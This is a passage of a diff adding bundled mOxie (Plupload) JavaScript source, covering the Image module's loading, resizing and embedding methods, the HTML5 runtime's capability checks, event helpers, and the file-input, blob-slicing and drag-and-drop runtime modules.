+			native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL, 
+			Image will be downloaded from remote destination and loaded in memory.
+
+			@example
+				var img = new mOxie.Image();
+				img.onload = function() {
+					var blob = img.getAsBlob();
+					
+					var formData = new mOxie.FormData();
+					formData.append('file', blob);
+
+					var xhr = new mOxie.XMLHttpRequest();
+					xhr.onload = function() {
+						// upload complete
+					};
+					xhr.open('post', 'upload.php');
+					xhr.send(formData);
+				};
+				img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
+			
+
+			@method load
+			@param {Image|Blob|File|String} src Source for the image
+			@param {Boolean|Object} [mixed]
+			*/
+			load: function() {
+				_load.apply(this, arguments);
+			},
+
+			/**
+			Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.
+
+			@method downsize
+			@param {Object} opts
+				@param {Number} opts.width Resulting width
+				@param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
+				@param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
+				@param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
+				@param {String} [opts.resample=false] Resampling algorithm to use for resizing
+			*/
+			downsize: function(opts) {
+				var defaults = {
+					width: this.width,
+					height: this.height,
+					type: this.type || 'image/jpeg',
+					quality: 90,
+					crop: false,
+					preserveHeaders: true,
+					resample: false
+				};
+
+				if (typeof(opts) === 'object') {
+					opts = Basic.extend(defaults, opts);
+				} else {
+					// for backward compatibility
+					opts = Basic.extend(defaults, {
+						width: arguments[0],
+						height: arguments[1],
+						crop: arguments[2],
+						preserveHeaders: arguments[3]
+					});
+				}
+
+				try {
+					if (!this.size) { // only preloaded image objects can be used as source
+						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+					}
+
+					// no way to reliably intercept the crash due to high resolution, so we simply avoid it
+					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
+						throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
+					}
+
+					this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
+				} catch(ex) {
+					// for now simply trigger error event
+					this.trigger('error', ex.code);
+				}
+			},
+
+			/**
+			Alias for downsize(width, height, true). (see downsize)
+			
+			@method crop
+			@param {Number} width Resulting width
+			@param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
+			@param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
+			*/
+			crop: function(width, height, preserveHeaders) {
+				this.downsize(width, height, true, preserveHeaders);
+			},
+
+			getAsCanvas: function() {
+				if (!Env.can('create_canvas')) {
+					throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
+				}
+
+				var runtime = this.connectRuntime(this.ruid);
+				return runtime.exec.call(this, 'Image', 'getAsCanvas');
+			},
+
+			/**
+			Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
+			DOMException.INVALID_STATE_ERR).
+
+			@method getAsBlob
+			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
+			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
+			@return {Blob} Image as Blob
+			*/
+			getAsBlob: function(type, quality) {
+				if (!this.size) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+				return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
+			},
+
+			/**
+			Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
+			DOMException.INVALID_STATE_ERR).
+
+			@method getAsDataURL
+			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
+			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
+			@return {String} Image as dataURL string
+			*/
+			getAsDataURL: function(type, quality) {
+				if (!this.size) {
+					throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+				}
+				return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
+			},
+
+			/**
+			Retrieves image in it's current state as binary string. Cannot be run on empty or image in progress (throws
+			DOMException.INVALID_STATE_ERR).
+
+			@method getAsBinaryString
+			@param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
+			@param {Number} [quality=90] Applicable only together with mime type image/jpeg
+			@return {String} Image as binary string
+			*/
+			getAsBinaryString: function(type, quality) {
+				var dataUrl = this.getAsDataURL(type, quality);
+				return Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7));
+			},
+
+			/**
+			Embeds a visual representation of the image into the specified node. Depending on the runtime, 
+			it might be a canvas, an img node or a thrid party shim object (Flash or SilverLight - very rare, 
+			can be used in legacy browsers that do not have canvas or proper dataURI support).
+
+			@method embed
+			@param {DOMElement} el DOM element to insert the image object into
+			@param {Object} [opts]
+				@param {Number} [opts.width] The width of an embed (defaults to the image width)
+				@param {Number} [opts.height] The height of an embed (defaults to the image height)
+				@param {String} [type="image/jpeg"] Mime type
+				@param {Number} [quality=90] Quality of an embed, if mime type is image/jpeg
+				@param {Boolean} [crop=false] Whether to crop an embed to the specified dimensions
+			*/
+			embed: function(el, opts) {
+				var self = this
+				, runtime // this has to be outside of all the closures to contain proper runtime
+				;
+
+				opts = Basic.extend({
+					width: this.width,
+					height: this.height,
+					type: this.type || 'image/jpeg',
+					quality: 90
+				}, opts || {});
+				
+
+				function render(type, quality) {
+					var img = this;
+
+					// if possible, embed a canvas element directly
+					if (Env.can('create_canvas')) {
+						var canvas = img.getAsCanvas();
+						if (canvas) {
+							el.appendChild(canvas);
+							canvas = null;
+							img.destroy();
+							self.trigger('embedded');
+							return;
+						}
+					}
+
+					var dataUrl = img.getAsDataURL(type, quality);
+					if (!dataUrl) {
+						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+					}
+
+					if (Env.can('use_data_uri_of', dataUrl.length)) {
+						el.innerHTML = '<img src="' + dataUrl + '" width="' + img.width + '" height="' + img.height + '" />';
+						img.destroy();
+						self.trigger('embedded');
+					} else {
+						var tr = new Transporter();
+
+						tr.bind("TransportingComplete", function() {
+							runtime = self.connectRuntime(this.result.ruid);
+
+							self.bind("Embedded", function() {
+								// position and size properly
+								Basic.extend(runtime.getShimContainer().style, {
+									//position: 'relative',
+									top: '0px',
+									left: '0px',
+									width: img.width + 'px',
+									height: img.height + 'px'
+								});
+
+								// some shims (Flash/SilverLight) reinitialize, if parent element is hidden, reordered or it's
+								// position type changes (in Gecko), but since we basically need this only in IEs 6/7 and
+								// sometimes 8 and they do not have this problem, we can comment this for now
+								/*tr.bind("RuntimeInit", function(e, runtime) {
+									tr.destroy();
+									runtime.destroy();
+									onResize.call(self); // re-feed our image data
+								});*/
+
+								runtime = null; // release
+							}, 999);
+
+							runtime.exec.call(self, "ImageView", "display", this.result.uid, width, height);
+							img.destroy();
+						});
+
+						tr.transport(Encode.atob(dataUrl.substring(dataUrl.indexOf('base64,') + 7)), type, {
+							required_caps: {
+								display_media: true
+							},
+							runtime_order: 'flash,silverlight',
+							container: el
+						});
+					}
+				}
+
+				try {
+					if (!(el = Dom.get(el))) {
+						throw new x.DOMException(x.DOMException.INVALID_NODE_TYPE_ERR);
+					}
+
+					if (!this.size) { // only preloaded image objects can be used as source
+						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+					}
+					
+					// high-resolution images cannot be consistently handled across the runtimes
+					if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
+						//throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
+					}
+
+					var imgCopy = new Image();
+
+					imgCopy.bind("Resize", function() {
+						render.call(this, opts.type, opts.quality);
+					});
+
+					imgCopy.bind("Load", function() {
+						imgCopy.downsize(opts);
+					});
+
+					// if embedded thumb data is available and dimensions are big enough, use it
+					if (this.meta.thumb && this.meta.thumb.width >= opts.width && this.meta.thumb.height >= opts.height) {
+						imgCopy.load(this.meta.thumb.data);
+					} else {
+						imgCopy.clone(this, false);
+					}
+
+					return imgCopy;
+				} catch(ex) {
+					// for now simply trigger error event
+					this.trigger('error', ex.code);
+				}
+			},
+
+			/**
+			Properly destroys the image and frees resources in use. If any. Recommended way to dispose mOxie.Image object.
+
+			@method destroy
+			*/
+			destroy: function() {
+				if (this.ruid) {
+					this.getRuntime().exec.call(this, 'Image', 'destroy');
+					this.disconnectRuntime();
+				}
+				this.unbindAll();
+			}
+		});
+
+
+		// this is here, because in order to bind properly, we need uid, which is created above
+		this.handleEventProps(dispatches);
+
+		this.bind('Load Resize', function() {
+			_updateInfo.call(this);
+		}, 999);
+
+
+		function _updateInfo(info) {
+			if (!info) {
+				info = this.exec('Image', 'getInfo');
+			}
+
+			this.size = info.size;
+			this.width = info.width;
+			this.height = info.height;
+			this.type = info.type;
+			this.meta = info.meta;
+
+			// update file name, only if empty
+			if (this.name === '') {
+				this.name = info.name;
+			}
+		}
+		
+
+		function _load(src) {
+			var srcType = Basic.typeOf(src);
+
+			try {
+				// if source is Image
+				if (src instanceof Image) {
+					if (!src.size) { // only preloaded image objects can be used as source
+						throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
+					}
+					_loadFromImage.apply(this, arguments);
+				}
+				// if source is o.Blob/o.File
+				else if (src instanceof Blob) {
+					if (!~Basic.inArray(src.type, ['image/jpeg', 'image/png'])) {
+						throw new x.ImageError(x.ImageError.WRONG_FORMAT);
+					}
+					_loadFromBlob.apply(this, arguments);
+				}
+				// if native blob/file
+				else if (Basic.inArray(srcType, ['blob', 'file']) !== -1) {
+					_load.call(this, new File(null, src), arguments[1]);
+				}
+				// if String
+				else if (srcType === 'string') {
+					// if dataUrl String
+					if (src.substr(0, 5) === 'data:') {
+						_load.call(this, new Blob(null, { data: src }), arguments[1]);
+					}
+					// else assume Url, either relative or absolute
+					else {
+						_loadFromUrl.apply(this, arguments);
+					}
+				}
+				// if source seems to be an img node
+				else if (srcType === 'node' && src.nodeName.toLowerCase() === 'img') {
+					_load.call(this, src.src, arguments[1]);
+				}
+				else {
+					throw new x.DOMException(x.DOMException.TYPE_MISMATCH_ERR);
+				}
+			} catch(ex) {
+				// for now simply trigger error event
+				this.trigger('error', ex.code);
+			}
+		}
+
+
+		function _loadFromImage(img, exact) {
+			var runtime = this.connectRuntime(img.ruid);
+			this.ruid = runtime.uid;
+			runtime.exec.call(this, 'Image', 'loadFromImage', img, (Basic.typeOf(exact) === 'undefined' ? true : exact));
+		}
+
+
+		function _loadFromBlob(blob, options) {
+			var self = this;
+
+			self.name = blob.name || '';
+
+			function exec(runtime) {
+				self.ruid = runtime.uid;
+				runtime.exec.call(self, 'Image', 'loadFromBlob', blob);
+			}
+
+			if (blob.isDetached()) {
+				this.bind('RuntimeInit', function(e, runtime) {
+					exec(runtime);
+				});
+
+				// convert to object representation
+				if (options && typeof(options.required_caps) === 'string') {
+					options.required_caps = Runtime.parseCaps(options.required_caps);
+				}
+
+				this.connectRuntime(Basic.extend({
+					required_caps: {
+						access_image_binary: true,
+						resize_image: true
+					}
+				}, options));
+			} else {
+				exec(this.connectRuntime(blob.ruid));
+			}
+		}
+
+
+		function _loadFromUrl(url, options) {
+			var self = this, xhr;
+
+			xhr = new XMLHttpRequest();
+
+			xhr.open('get', url);
+			xhr.responseType = 'blob';
+
+			xhr.onprogress = function(e) {
+				self.trigger(e);
+			};
+
+			xhr.onload = function() {
+				_loadFromBlob.call(self, xhr.response, true);
+			};
+
+			xhr.onerror = function(e) {
+				self.trigger(e);
+			};
+
+			xhr.onloadend = function() {
+				xhr.destroy();
+			};
+
+			xhr.bind('RuntimeError', function(e, err) {
+				self.trigger('RuntimeError', err);
+			});
+
+			xhr.send(null, options);
+		}
+	}
+
+	// virtual world will crash on you if image has a resolution higher than this:
+	Image.MAX_RESIZE_WIDTH = 8192;
+	Image.MAX_RESIZE_HEIGHT = 8192; 
+
+	Image.prototype = EventTarget.instance;
+
+	return Image;
+});
+
+// Included from: src/javascript/runtime/html5/Runtime.js
+
+/**
+ * Runtime.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/*global File:true */
+
+/**
+Defines constructor for HTML5 runtime.
+
+@class moxie/runtime/html5/Runtime
+@private
+*/
+define("moxie/runtime/html5/Runtime", [
+	"moxie/core/utils/Basic",
+	"moxie/core/Exceptions",
+	"moxie/runtime/Runtime",
+	"moxie/core/utils/Env"
+], function(Basic, x, Runtime, Env) {
+	
+	var type = "html5", extensions = {};
+	
+	function Html5Runtime(options) {
+		var I = this
+		, Test = Runtime.capTest
+		, True = Runtime.capTrue
+		;
+
+		var caps = Basic.extend({
+				access_binary: Test(window.FileReader || window.File && window.File.getAsDataURL),
+				access_image_binary: function() {
+					return I.can('access_binary') && !!extensions.Image;
+				},
+				display_media: Test(Env.can('create_canvas') || Env.can('use_data_uri_over32kb')),
+				do_cors: Test(window.XMLHttpRequest && 'withCredentials' in new XMLHttpRequest()),
+				drag_and_drop: Test(function() {
+					// this comes directly from Modernizr: http://www.modernizr.com/
+					var div = document.createElement('div');
+					// IE has support for drag and drop since version 5, but doesn't support dropping files from desktop
+					return (('draggable' in div) || ('ondragstart' in div && 'ondrop' in div)) && 
+						(Env.browser !== 'IE' || Env.verComp(Env.version, 9, '>'));
+				}()),
+				filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest
+					return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || 
+						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || 
+						(Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>='));
+				}()),
+				return_response_headers: True,
+				return_response_type: function(responseType) {
+					if (responseType === 'json' && !!window.JSON) { // we can fake this one even if it's not supported
+						return true;
+					} 
+					return Env.can('return_response_type', responseType);
+				},
+				return_status_code: True,
+				report_upload_progress: Test(window.XMLHttpRequest && new XMLHttpRequest().upload),
+				resize_image: function() {
+					return I.can('access_binary') && Env.can('create_canvas');
+				},
+				select_file: function() {
+					return Env.can('use_fileinput') && window.File;
+				},
+				select_folder: function() {
+					return I.can('select_file') && Env.browser === 'Chrome' && Env.verComp(Env.version, 21, '>=');
+				},
+				select_multiple: function() {
+					// it is buggy on Safari Windows and iOS
+					return I.can('select_file') &&
+						!(Env.browser === 'Safari' && Env.os === 'Windows') &&
+						!(Env.os === 'iOS' && Env.verComp(Env.osVersion, "7.0.0", '>') && Env.verComp(Env.osVersion, "8.0.0", '<'));
+				},
+				send_binary_string: Test(window.XMLHttpRequest && (new XMLHttpRequest().sendAsBinary || (window.Uint8Array && window.ArrayBuffer))),
+				send_custom_headers: Test(window.XMLHttpRequest),
+				send_multipart: function() {
+					return !!(window.XMLHttpRequest && new XMLHttpRequest().upload && window.FormData) || I.can('send_binary_string');
+				},
+				slice_blob: Test(window.File && (File.prototype.mozSlice || File.prototype.webkitSlice || File.prototype.slice)),
+				stream_upload: function(){
+					return I.can('slice_blob') && I.can('send_multipart');
+				},
+				summon_file_dialog: function() { // yeah... some dirty sniffing here...
+					return I.can('select_file') && (
+						(Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) ||
+						(Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) ||
+						(Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) ||
+						!!~Basic.inArray(Env.browser, ['Chrome', 'Safari'])
+					);
+				},
+				upload_filesize: True
+			}, 
+			arguments[2]
+		);
+
+		Runtime.call(this, options, (arguments[1] || type), caps);
+
+
+		Basic.extend(this, {
+
+			init : function() {
+				this.trigger("Init");
+			},
+
+			destroy: (function(destroy) { // extend default destroy method
+				return function() {
+					destroy.call(I);
+					destroy = I = null;
+				};
+			}(this.destroy))
+		});
+
+		Basic.extend(this.getShim(), extensions);
+	}
+
+	Runtime.addConstructor(type, Html5Runtime);
+
+	return extensions;
+});
+
+// Included from: src/javascript/core/utils/Events.js
+
+/**
+ * Events.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+define('moxie/core/utils/Events', [
+	'moxie/core/utils/Basic'
+], function(Basic) {
+	var eventhash = {}, uid = 'moxie_' + Basic.guid();
+	
+	// IE W3C like event funcs
+	function preventDefault() {
+		this.returnValue = false;
+	}
+
+	function stopPropagation() {
+		this.cancelBubble = true;
+	}
+
+	/**
+	Adds an event handler to the specified object and store reference to the handler
+	in objects internal Plupload registry (@see removeEvent).
+	
+	@method addEvent
+	@for Utils
+	@static
+	@param {Object} obj DOM element like object to add handler to.
+	@param {String} name Name to add event listener to.
+	@param {Function} callback Function to call when event occurs.
+	@param {String} [key] that might be used to add specifity to the event record.
+	*/
+	var addEvent = function(obj, name, callback, key) {
+		var func, events;
+					
+		name = name.toLowerCase();
+
+		// Add event listener
+		if (obj.addEventListener) {
+			func = callback;
+			
+			obj.addEventListener(name, func, false);
+		} else if (obj.attachEvent) {
+			func = function() {
+				var evt = window.event;
+
+				if (!evt.target) {
+					evt.target = evt.srcElement;
+				}
+
+				evt.preventDefault = preventDefault;
+				evt.stopPropagation = stopPropagation;
+
+				callback(evt);
+			};
+
+			obj.attachEvent('on' + name, func);
+		}
+		
+		// Log event handler to objects internal mOxie registry
+		if (!obj[uid]) {
+			obj[uid] = Basic.guid();
+		}
+		
+		if (!eventhash.hasOwnProperty(obj[uid])) {
+			eventhash[obj[uid]] = {};
+		}
+		
+		events = eventhash[obj[uid]];
+		
+		if (!events.hasOwnProperty(name)) {
+			events[name] = [];
+		}
+				
+		events[name].push({
+			func: func,
+			orig: callback, // store original callback for IE
+			key: key
+		});
+	};
+	
+	
+	/**
+	Remove event handler from the specified object. If third argument (callback)
+	is not specified remove all events with the specified name.
+	
+	@method removeEvent
+	@static
+	@param {Object} obj DOM element to remove event listener(s) from.
+	@param {String} name Name of event listener to remove.
+	@param {Function|String} [callback] might be a callback or unique key to match.
+	*/
+	var removeEvent = function(obj, name, callback) {
+		var type, undef;
+		
+		name = name.toLowerCase();
+		
+		if (obj[uid] && eventhash[obj[uid]] && eventhash[obj[uid]][name]) {
+			type = eventhash[obj[uid]][name];
+		} else {
+			return;
+		}
+			
+		for (var i = type.length - 1; i >= 0; i--) {
+			// undefined or not, key should match
+			if (type[i].orig === callback || type[i].key === callback) {
+				if (obj.removeEventListener) {
+					obj.removeEventListener(name, type[i].func, false);
+				} else if (obj.detachEvent) {
+					obj.detachEvent('on'+name, type[i].func);
+				}
+				
+				type[i].orig = null;
+				type[i].func = null;
+				type.splice(i, 1);
+				
+				// If callback was passed we are done here, otherwise proceed
+				if (callback !== undef) {
+					break;
+				}
+			}
+		}
+		
+		// If event array got empty, remove it
+		if (!type.length) {
+			delete eventhash[obj[uid]][name];
+		}
+		
+		// If mOxie registry has become empty, remove it
+		if (Basic.isEmptyObj(eventhash[obj[uid]])) {
+			delete eventhash[obj[uid]];
+			
+			// IE doesn't let you remove DOM object property with - delete
+			try {
+				delete obj[uid];
+			} catch(e) {
+				obj[uid] = undef;
+			}
+		}
+	};
+	
+	
+	/**
+	Remove all kind of events from the specified object
+	
+	@method removeAllEvents
+	@static
+	@param {Object} obj DOM element to remove event listeners from.
+	@param {String} [key] unique key to match, when removing events.
+	*/
+	var removeAllEvents = function(obj, key) {		
+		if (!obj || !obj[uid]) {
+			return;
+		}
+		
+		Basic.each(eventhash[obj[uid]], function(events, name) {
+			removeEvent(obj, name, key);
+		});
+	};
+
+	return {
+		addEvent: addEvent,
+		removeEvent: removeEvent,
+		removeAllEvents: removeAllEvents
+	};
+});
+
+// Included from: src/javascript/runtime/html5/file/FileInput.js
+
+/**
+ * FileInput.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/file/FileInput
+@private
+*/
+define("moxie/runtime/html5/file/FileInput", [
+	"moxie/runtime/html5/Runtime",
+	"moxie/file/File",
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/utils/Events",
+	"moxie/core/utils/Mime",
+	"moxie/core/utils/Env"
+], function(extensions, File, Basic, Dom, Events, Mime, Env) {
+	
+	function FileInput() {
+		var _options;
+
+		Basic.extend(this, {
+			init: function(options) {
+				var comp = this, I = comp.getRuntime(), input, shimContainer, mimes, browseButton, zIndex, top;
+
+				_options = options;
+
+				// figure out accept string
+				mimes = _options.accept.mimes || Mime.extList2mimes(_options.accept, I.can('filter_by_extension'));
+
+				shimContainer = I.getShimContainer();
+
+				shimContainer.innerHTML = '<input id="' + I.uid +'" type="file" style="font-size:999px;opacity:0;"' +
+					(_options.multiple && I.can('select_multiple') ? 'multiple' : '') + 
+					(_options.directory && I.can('select_folder') ? 'webkitdirectory directory' : '') + // Chrome 11+
+					(mimes ? ' accept="' + mimes.join(',') + '"' : '') + ' />';
+
+				input = Dom.get(I.uid);
+
+				// prepare file input to be placed underneath the browse_button element
+				Basic.extend(input.style, {
+					position: 'absolute',
+					top: 0,
+					left: 0,
+					width: '100%',
+					height: '100%'
+				});
+
+
+				browseButton = Dom.get(_options.browse_button);
+
+				// Route click event to the input[type=file] element for browsers that support such behavior
+				if (I.can('summon_file_dialog')) {
+					if (Dom.getStyle(browseButton, 'position') === 'static') {
+						browseButton.style.position = 'relative';
+					}
+
+					zIndex = parseInt(Dom.getStyle(browseButton, 'z-index'), 10) || 1;
+
+					browseButton.style.zIndex = zIndex;
+					shimContainer.style.zIndex = zIndex - 1;
+
+					Events.addEvent(browseButton, 'click', function(e) {
+						var input = Dom.get(I.uid);
+						if (input && !input.disabled) { // for some reason FF (up to 8.0.1 so far) lets to click disabled input[type=file]
+							input.click();
+						}
+						e.preventDefault();
+					}, comp.uid);
+				}
+
+				/* Since we have to place input[type=file] on top of the browse_button for some browsers,
+				browse_button loses interactivity, so we restore it here */
+				top = I.can('summon_file_dialog') ? browseButton : shimContainer;
+
+				Events.addEvent(top, 'mouseover', function() {
+					comp.trigger('mouseenter');
+				}, comp.uid);
+
+				Events.addEvent(top, 'mouseout', function() {
+					comp.trigger('mouseleave');
+				}, comp.uid);
+
+				Events.addEvent(top, 'mousedown', function() {
+					comp.trigger('mousedown');
+				}, comp.uid);
+
+				Events.addEvent(Dom.get(_options.container), 'mouseup', function() {
+					comp.trigger('mouseup');
+				}, comp.uid);
+
+
+				input.onchange = function onChange(e) { // there should be only one handler for this
+					comp.files = [];
+
+					Basic.each(this.files, function(file) {
+						var relativePath = '';
+
+						if (_options.directory) {
+							// folders are represented by dots, filter them out (Chrome 11+)
+							if (file.name == ".") {
+								// if it looks like a folder...
+								return true;
+							}
+						}
+
+						if (file.webkitRelativePath) {
+							relativePath = '/' + file.webkitRelativePath.replace(/^\//, '');
+						}
+						
+						file = new File(I.uid, file);
+						file.relativePath = relativePath;
+
+						comp.files.push(file);
+					});
+
+					// clearing the value enables the user to select the same file again if they want to
+					if (Env.browser !== 'IE' && Env.browser !== 'IEMobile') {
+						this.value = '';
+					} else {
+						// in IE input[type="file"] is read-only so the only way to reset it is to re-insert it
+						var clone = this.cloneNode(true);
+						this.parentNode.replaceChild(clone, this);
+						clone.onchange = onChange;
+					}
+
+					if (comp.files.length) {
+						comp.trigger('change');
+					}
+				};
+
+				// ready event is perfectly asynchronous
+				comp.trigger({
+					type: 'ready',
+					async: true
+				});
+
+				shimContainer = null;
+			},
+
+
+			disable: function(state) {
+				var I = this.getRuntime(), input;
+
+				if ((input = Dom.get(I.uid))) {
+					input.disabled = !!state;
+				}
+			},
+
+			destroy: function() {
+				var I = this.getRuntime()
+				, shim = I.getShim()
+				, shimContainer = I.getShimContainer()
+				;
+				
+				Events.removeAllEvents(shimContainer, this.uid);
+				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
+				Events.removeAllEvents(_options && Dom.get(_options.browse_button), this.uid);
+				
+				if (shimContainer) {
+					shimContainer.innerHTML = '';
+				}
+
+				shim.removeInstance(this.uid);
+
+				_options = shimContainer = shim = null;
+			}
+		});
+	}
+
+	return (extensions.FileInput = FileInput);
+});
+
+// Included from: src/javascript/runtime/html5/file/Blob.js
+
+/**
+ * Blob.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/file/Blob
+@private
+*/
+define("moxie/runtime/html5/file/Blob", [
+	"moxie/runtime/html5/Runtime",
+	"moxie/file/Blob"
+], function(extensions, Blob) {
+
+	function HTML5Blob() {
+		function w3cBlobSlice(blob, start, end) {
+			var blobSlice;
+
+			if (window.File.prototype.slice) {
+				try {
+					blob.slice();	// depricated version will throw WRONG_ARGUMENTS_ERR exception
+					return blob.slice(start, end);
+				} catch (e) {
+					// depricated slice method
+					return blob.slice(start, end - start);
+				}
+			// slice method got prefixed: https://bugzilla.mozilla.org/show_bug.cgi?id=649672
+			} else if ((blobSlice = window.File.prototype.webkitSlice || window.File.prototype.mozSlice)) {
+				return blobSlice.call(blob, start, end);
+			} else {
+				return null; // or throw some exception
+			}
+		}
+
+		this.slice = function() {
+			return new Blob(this.getRuntime().uid, w3cBlobSlice.apply(this, arguments));
+		};
+	}
+
+	return (extensions.Blob = HTML5Blob);
+});
+
+// Included from: src/javascript/runtime/html5/file/FileDrop.js
+
+/**
+ * FileDrop.js
+ *
+ * Copyright 2013, Moxiecode Systems AB
+ * Released under GPL License.
+ *
+ * License: http://www.plupload.com/license
+ * Contributing: http://www.plupload.com/contributing
+ */
+
+/**
+@class moxie/runtime/html5/file/FileDrop
+@private
+*/
+define("moxie/runtime/html5/file/FileDrop", [
+	"moxie/runtime/html5/Runtime",
+	'moxie/file/File',
+	"moxie/core/utils/Basic",
+	"moxie/core/utils/Dom",
+	"moxie/core/utils/Events",
+	"moxie/core/utils/Mime"
+], function(extensions, File, Basic, Dom, Events, Mime) {
+	
+	function FileDrop() {
+		var _files = [], _allowedExts = [], _options, _ruid;
+
+		Basic.extend(this, {
+			init: function(options) {
+				var comp = this, dropZone;
+
+				_options = options;
+				_ruid = comp.ruid; // every dropped-in file should have a reference to the runtime
+				_allowedExts = _extractExts(_options.accept);
+				dropZone = _options.container;
+
+				Events.addEvent(dropZone, 'dragover', function(e) {
+					if (!_hasFiles(e)) {
+						return;
+					}
+					e.preventDefault();
+					e.dataTransfer.dropEffect = 'copy';
+				}, comp.uid);
+
+				Events.addEvent(dropZone, 'drop', function(e) {
+					if (!_hasFiles(e)) {
+						return;
+					}
+					e.preventDefault();
+
+					_files = [];
+
+					// Chrome 21+ accepts folders via Drag'n'Drop
+					if (e.dataTransfer.items && e.dataTransfer.items[0].webkitGetAsEntry) {
+						_readItems(e.dataTransfer.items, function() {
+							comp.files = _files;
+							comp.trigger("drop");
+						});
+					} else {
+						Basic.each(e.dataTransfer.files, function(file) {
+							_addFile(file);
+						});
+						comp.files = _files;
+						comp.trigger("drop");
+					}
+				}, comp.uid);
+
+				Events.addEvent(dropZone, 'dragenter', function(e) {
+					comp.trigger("dragenter");
+				}, comp.uid);
+
+				Events.addEvent(dropZone, 'dragleave', function(e) {
+					comp.trigger("dragleave");
+				}, comp.uid);
+			},
+
+			destroy: function() {
+				Events.removeAllEvents(_options && Dom.get(_options.container), this.uid);
+				_ruid = _files = _allowedExts = _options = null;
+			}
+		});
+
+
+		function _hasFiles(e) {
+			if (!e.dataTransfer || !e.dataTransfer.types) { // e.dataTransfer.files is not available in Gecko during dragover
+				return false;
+			}
+
+			var types = Basic.toArray(e.dataTransfer.types || []);
+
+			return Basic.inArray("Files", types) !== -1 ||
+				Basic.inArray("public.file-url", types) !== -1 || // Safari < 5
+				Basic.inArray("application/x-moz-file", types) !== -1 // Gecko < 1.9.2 (< Firefox 3.6)
+				;
+		}
+
+
+		function _addFile(file, relativePath) {
+			if (_isAcceptable(file)) {
+				var fileObj = new File(_ruid, file);
+				fileObj.relativePath = relativePath || '';
+				_files.push(fileObj);
+			}
+		}
+
+		
+		function _extractExts(accept) {
+			var exts = [];
+			for (var i = 0; i < accept.length; i++) {
+				[].push.apply(exts, accept[i].extensions.split(/\s*,\s*/));
+			}
+			return Basic.inArray('*', exts) === -1 ? exts : [];
+		}
+
+
+		function _isAcceptable(file) {
+			if (!_allowedExts.length) {
+				return true;
+			}
+			var ext = Mime.getFileExtension(file.name);
+			return !ext || Basic.inArray(ext, _allowedExts) !== -1;
+		}
+
+
+		function _readItems(items, cb) {
+			var entries = [];
+			Basic.each(items, function(item) {
+				var entry = item.webkitGetAsEntry();
+				// Address #998 (https://code.google.com/p/chromium/issues/detail?id=332579)
+				if (entry) {
+					// file() fails on OSX when the filename contains a special character (e.g. umlaut): see #61
+					if (entry.isFile) {
+						_addFile(item.getAsFile(), entry.fullPath);
+					} else {
+						entries.push(entry);
+					}
+				}
+			});
+
+			if (entries.length) {
+				_readEntries(entries, cb);
+			} else {
+				cb();
+			}
+		}
+
+
+		function _readEntries(entries, cb) {
+			var queue = [];
+			Basic.each(entries, function(entry) {
+				queue.push(function(cbcb) {
+					_readEntry(entry, cbcb);
+				});
+			});
+			Basic.inSeries(queue, function() {
+				cb();
+			});
+		}
+
+
+		function _readEntry(entry, cb) {
+			if (entry.isFile) {
+				entry.file(function(file) {
+					_addFile(file, entry.fullPath);
+					cb();
+				}, function() {
+					// fire an error event maybe
+					cb();
+				});
+			} else if (entry.isDirectory) {
+				_readDirEntry(entry, cb);
+			} else {
+				cb(); // not file, not directory? what then?..
+			}
+		}
+
+
